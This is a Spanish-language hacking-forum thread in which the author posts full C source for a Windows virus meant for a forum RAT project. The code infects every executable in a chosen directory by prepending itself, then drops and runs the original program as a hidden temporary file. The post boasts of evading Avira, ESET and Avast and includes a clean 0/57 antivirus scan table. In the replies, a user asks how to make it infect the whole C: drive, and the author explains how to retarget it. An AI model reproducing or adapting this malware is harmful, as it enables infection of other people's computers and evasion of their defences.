Hola ! tenia pensado utilizar esta formula para el RAT de foro, que les dejo el link por aquí a los interesados ::)
https://underc0de.org/foro/off-topic-122/proyecto-rat-underc0de-(interesados-contactar)/ (https://underc0de.org/foro/off-topic-122/proyecto-rat-underc0de-(interesados-contactar)/)
Bueno sin mas, este código infecta ejecutables de un directorio, este puede ser modificado a su gusto, esta testeado y funciona al %100 con ejecutables de todo tipo.
Que es lo que hace en concreto y para que sirve ?
-Imagina que tienes el directorio de Windows, o una carpeta con Juegos y archivos descargados de Internet antes de infectarte.
Luego de la infección todos esos ejecutables contendrán tu virus, malware o a lo que lo implementes.
Cuando abres el archivo Infectado, lo que primero hará es ejecutarse el Malware/Virus,etc y Luego ejecuta el archivo de forma normal, luego de cerrar el proceso borra el archivo temporal que se encuentra oculto con el mismo nombre. De esa forma es mas difícil desinfectarse y casi siempre así mismo borre el ejecutable original, al abrir viejos software's se volverá a infectar.
Esta testeado con AVIRA - ESET 8 - & Avast 5 en modo de ejecución y no detectaron nada :D
Les dejo el link de analisis 0/57 8) :
https://www.virustotal.com/es/file/0d4acc08de9cd03e3c3b98a960538299fa80fd547088d68e1774ee0ba0f1c712/analysis/1439685072/ (https://www.virustotal.com/es/file/0d4acc08de9cd03e3c3b98a960538299fa80fd547088d68e1774ee0ba0f1c712/analysis/1439685072/)
#include <windows.h>
/*
#########################################################################################
# #
# Infección de ejecutables por - Nico Buzzi - xxneeco83xx #
# Este metodo no es detectado por la heuristica de los antivirus talez como Avira. #
# Codigo para foro UnderC0de.org - 15/8/15 #
# #
#########################################################################################
*/
//Estroctura para alocar los numeros de buffers y los buffers diferentes separados por el delimitador
typedef struct
{
char **string_data;
int number_string;
} split_struct;
split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee );
DWORD __stdcall _lstrlen ( IN LPSTR lpszString );
split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee )
{
//Definiciones de variables.
split_struct *return_value;
DWORD lpszBuffer_length, lpDelimitador_length;
DWORD bytes = 0, x = 1, aciertos = 0, count = 0, items = 0, p = 0, contador = 0;
LPSTR MyBuffer, *buffer;
lpszBuffer_length = dwSizee;
lpDelimitador_length = _lstrlen ( lpDelimitador );
bool encontre = false;
//Reservamos la variable principal
MyBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
memcpy ( & MyBuffer [ 0 ], & lpszBuffer [ 0 ], lpszBuffer_length );
//Reservamos las variables necesarias
return_value = ( split_struct * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
buffer = ( LPSTR * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length + 1 ) );
*buffer = 0;
//Recorremos el buffer en busqueda de el delimitador.
for ( bytes = 0; bytes <= lpszBuffer_length; bytes ++ )
{
if ( MyBuffer [ bytes ] == lpDelimitador [ 0 ] )
{
for ( x = 0; x <= lpDelimitador_length; x++ )
{
//En caso de coincidir con el delimitador, incrementamos los aciertos
if ( MyBuffer [ bytes + x ] == lpDelimitador [ x ] )
{
aciertos++;
}
//Si ya se acerto toda la firma, cortamos el for.
if ( aciertos == lpDelimitador_length )
{
items ++;
break;
}
}
}
//Si coincide el delimitador con el buffer que vamos analizando.
if ( aciertos == lpDelimitador_length )
{
//Reservamos el buffer, y copiamos los bytes hasta el delimitador.
buffer [ ++ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
memcpy ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], bytes );
//Ajustamos el buffer.
MyBuffer += ( bytes + lpDelimitador_length );
//Acertado, volvemos a restablecer valores.
encontre = true;
aciertos = 0;
bytes = 0;
}
//En caso de encontrar la cadena en la cual esta la ruta, en un buffer a parte reservamos el buffer.
if ( encontre == true && lstrcmpA ( ( buffer [ count ] + _lstrlen ( buffer [ count ] ) - 4 ), "exe-" ) == 0 )
{
encontre = false;
count ++;
buffer [ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
CopyMemory ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], lpszBuffer_length - ( _lstrlen ( buffer [ count - 1 ] ) ) );
items ++;
break;
}
}
//Liberamos el buffer que usamos temporalmente.
GlobalFree ( MyBuffer );
//Le decimos cuales son los punteros a apuntar desde la estroctura.
return_value -> string_data = buffer;
return_value -> number_string = items;
//Returnamos
return return_value;
}
//Funcion que remplaza a lstrlenA o strlen ( de string.h )
DWORD __stdcall _lstrlen ( IN LPSTR lpszString )
{
register DWORD bytes = 0;
//Vamos contando los caracteres que contiene nuestro buffer.
while ( * ( lpszString ++ ) != 0x00 ) bytes ++;
return DWORD ( bytes );
}
int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{
//Variables necesarias
HANDLE File;
DWORD dwBytes, dwSize, dwSizeOriginal, Attributes, NewSize;
WIN32_FIND_DATA Find;
HANDLE Search;
//Estrocturas PE
PIMAGE_DOS_HEADER pImageDosHeader;
PIMAGE_NT_HEADERS pImageNtHeaders;
PIMAGE_SECTION_HEADER pImageSectionHeader;
//Variable para CreateProcess, para poder ejecutar la aplicación.
STARTUPINFOA si;
PROCESS_INFORMATION pi;
//Rellenamos las estrocturas
ZeroMemory ( &si, sizeof ( STARTUPINFOA ) );
ZeroMemory ( &pi, sizeof ( PROCESS_INFORMATION ) );
//Calculamos el tamaño de StartupInfoA struct en su cb
si.cb = sizeof ( STARTUPINFOA );
//Variables de tipo puntero char.
LPSTR AppName, Buffer, NewBuffer, PathInfect, PreBuffer, Path, Firma;
//Obtenemos nuestro nombre de ejecutable.
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
//Nos abrimos
File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, 0, 0 );
//Si existe algun error al abrirnos para leernos.
if ( ( File == INVALID_HANDLE_VALUE ) )
{
CloseHandle ( File );
GlobalFree ( AppName );
return EXIT_FAILURE;
}
//Obtenemos el tamaño de nuestro archivo
dwSize = GetFileSize ( File, 0 );
dwSizeOriginal = dwSize;
//Luego de leernos
Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );
//Liberamos la variable que contiene nuestra ruta.
GlobalFree ( AppName );
//Obtenemos el PE, y el tamaño de nuestro ejecutable, para determinar si somos o no un archivo infectado.
pImageDosHeader = ( PIMAGE_DOS_HEADER ) & Buffer [ 0 ];
pImageNtHeaders = ( PIMAGE_NT_HEADERS ) & Buffer [ pImageDosHeader -> e_lfanew ];
pImageSectionHeader = ( PIMAGE_SECTION_HEADER ) & Buffer [ pImageDosHeader -> e_lfanew + sizeof ( IMAGE_NT_HEADERS ) + sizeof ( IMAGE_SECTION_HEADER ) * ( pImageNtHeaders -> FileHeader.NumberOfSections - 1 ) ];
NewSize = pImageSectionHeader -> PointerToRawData + pImageSectionHeader -> SizeOfRawData;
//En caso de no ser un archivo infectado infecto.
if ( NewSize == dwSize )
{
//En el directorio
char directory [ MAX_PATH + 1 ];
wsprintfA ( directory, "%s\\nueva\\*", getenv ( "homedrive" ) );
//Comenzamos la busqueda
Search = FindFirstFileA ( directory, &Find );
//Si hay problemas al listar, salimos.
if ( Search == INVALID_HANDLE_VALUE )
{
FindClose ( Search );
return EXIT_FAILURE;
}
//Avanzamos en el directorio de system32 buscando archivos a infectar
while ( FindNextFileA ( Search, & Find ) != 0 )
{
//Si el archivo es ejecutable (.exe)
if ( lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".exe" ) == 0 || lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".EXE" ) == 0 )
{
//Alojamos la firma
Firma = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), 500 );
wsprintfA ( Firma, "#EXE" );
lstrcatA ( Firma, "CUTABLE#" );
//Creamos la ruta de donde iremos a buscar ejecutables para infectar.
PathInfect = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
CopyMemory ( & PathInfect [ 0 ], & directory [ 0 ], _lstrlen ( directory ) - 1 );
CopyMemory ( & PathInfect [ lstrlenA ( PathInfect ) ], &Find.cFileName, lstrlenA ( Find.cFileName ) );
Attributes = GetFileAttributesA ( PathInfect );
//Abrimos el ejecutable que iremos a infectar
File = CreateFileA ( PathInfect, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, Attributes, 0 );
//Verificamos que no haya fallos a la hora de abrir el ejecutable a infectar
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
GlobalFree ( Firma );
GlobalFree ( PathInfect );
return EXIT_FAILURE;
}
//Creamos la firma que le colocaremos para distinguir el infectado al ejecutable normal
CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & PathInfect [ 0 ], _lstrlen ( PathInfect ) );
CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & "-#EXE", _lstrlen ( ( LPSTR ) "-#EXE" ) );
lstrcatA ( Firma, "CUTABLE#" );
//Obtenemos el tamaño del archivo a infectar
dwSize = GetFileSize ( File, 0 );
PreBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
//Leemos el archivo que vamos a infectar
ReadFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );
//Abrimos el archivo a infectar
File = CreateFileA ( PathInfect, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, Attributes, 0 );
//Escribimos el nuevo archivo.
WriteFile ( File, Buffer, dwSizeOriginal, &dwBytes, 0 );
WriteFile ( File, Firma, _lstrlen ( Firma ), &dwBytes, 0 );
WriteFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
WriteFile ( File, "ENDOF", _lstrlen ( ( LPSTR ) "ENDOF" ), &dwBytes, 0 );
WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
CloseHandle ( File );
//Liberamos los buffers
GlobalFree ( PreBuffer );
GlobalFree ( PathInfect );
GlobalFree ( Firma );
}
}
//Cerramos la busqueda
FindClose ( Search );
//Liberamos el buffer
GlobalFree ( Buffer );
//Salimos.
return EXIT_SUCCESS;
}
//De lo contrario creamos el archivo
//Ajustamos el nuevo tamaño
dwSize -= NewSize;
//Creamos el nuevo buffer
NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
CopyMemory ( & NewBuffer [ 0 ], & Buffer [ NewSize ], dwSize );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
char firmita [ 250 ];
wsprintf ( firmita, "%sEXE", "#" );
lstrcatA ( firmita, "CUTABLE#" );
split_struct *resultado = split ( NewBuffer, ( LPSTR ) firmita, dwSize );
//Recorremos los items
for ( int i = 1; i <= resultado -> number_string; i ++ )
{
//Comprobamos que la cadena que obtenemos no sea una invalida.
if ( _lstrlen ( resultado -> string_data [ i ] ) <= 0 ) i += 1;
//Abrimos un nuevo archivo de modo oculto para su ejecución de modo que no sea sospechoso.
File = CreateFileA ( resultado -> string_data [ i ], GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, ( 0x1 | 0x2 | 0x4 ), 0 );
//Si no podemos crear el archivo
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
GlobalFree ( AppName );
GlobalFree ( NewBuffer );
GlobalFree ( Path );
return EXIT_FAILURE;
}
//Escribimos la ruta, y calculamos el tamaño a escribir.
WriteFile ( File, resultado -> string_data [ i + 1 ], dwSize - _lstrlen ( resultado -> string_data [ i ] ), &dwBytes, 0 );
CloseHandle ( File );
//Ejecutamos el archivo, y esperamos por el hasta que se cierre.
CreateProcessA ( resultado -> string_data [ i ], 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &si, &pi );
WaitForSingleObject ( pi.hProcess, INFINITE );
//Eliminamos el archivo una vez haya sido terminado de ejecutar.
SetFileAttributesA ( resultado -> string_data [ i ], FILE_ATTRIBUTE_NORMAL );
DeleteFileA ( resultado -> string_data [ i ] );
//Liberamos el buffer
GlobalFree ( resultado -> string_data [ i ] );
//Interrumpimos el for
break;
}
//Liberamos los buffers.
GlobalFree ( AppName );
GlobalFree ( NewBuffer );
GlobalFree ( Path );
//Salimos
return EXIT_SUCCESS;
}
Antivirus Resultado Actualización
ALYac 20150805 Clean
AVG 20150805 Clean
AVware 20150805 Clean
Ad-Aware 20150805 Clean
AegisLab 20150805 Clean
Agnitum 20150804 Clean
AhnLab-V3 20150805 Clean
Alibaba 20150803 Clean
Antiy-AVL 20150805 Clean
Arcabit 20150805 Clean
Avast 20150805 Clean
Avira 20150805 Clean
Baidu-International 20150805 Clean
BitDefender 20150805 Clean
Bkav 20150805 Clean
ByteHero 20150805 Clean
CAT-QuickHeal 20150805 Clean
ClamAV 20150805 Clean
Comodo 20150805 Clean
Cyren 20150805 Clean
DrWeb 20150805 Clean
ESET-NOD32 20150805 Clean
Emsisoft 20150805 Clean
F-Prot 20150805 Clean
F-Secure 20150805 Clean
Fortinet 20150804 Clean
GData 20150805 Clean
Ikarus 20150805 Clean
Jiangmin 20150804 Clean
K7AntiVirus 20150805 Clean
K7GW 20150805 Clean
Kaspersky 20150805 Clean
Kingsoft 20150805 Clean
Malwarebytes 20150805 Clean
McAfee 20150805 Clean
McAfee-GW-Edition 20150805 Clean
MicroWorld-eScan 20150805 Clean
Microsoft 20150805 Clean
NANO-Antivirus 20150805 Clean
Panda 20150805 Clean
Qihoo-360 20150805 Clean
Rising 20150731 Clean
SUPERAntiSpyware 20150805 Clean
Sophos 20150805 Clean
Symantec 20150805 Clean
Tencent 20150805 Clean
TheHacker 20150805 Clean
TotalDefense 20150805 Clean
TrendMicro 20150805 Clean
TrendMicro-HouseCall 20150805 Clean
VBA32 20150805 Clean
VIPRE 20150805 Clean
ViRobot 20150805 Clean
Zillya 20150805 Clean
Zoner 20150805 Clean
nProtect 20150805 Clean
Es todo espero que le sirva a alguno! se aceptan comentarios, criticas, y lo que se te cruze en mente. ;D
Hola amigo, pregunta. En si que hace bien este virus, infecta todos los .exe del sistema? por que lo e probado, pero ningún .exe me ha modificado. por eso te pregunto bien como infecta, por que si me sirve lo voy a utilizar para un proyecto, desde ya muchas gracias y muy buen malware. :)
Es que la ruta a la cual esta infectando los archivos la tienes que especificar tu, si te fijas la carpeta default que tiene predefinida es homedrive carpeta llamada nueva.
Bien!, si quisiera que infecte todo el disco C por ejemplo, en donde dice "nueva" tendría que colocar "*.*" para que infecte todo, por que te explico o probado el malware hasta e creado la carpeta nueva en el disco C y coloque unos .exe a ver si los modificaba y nada!, por eso te pregunto a vos que sos el creador de el malware.
proyect quemado en 3,2,1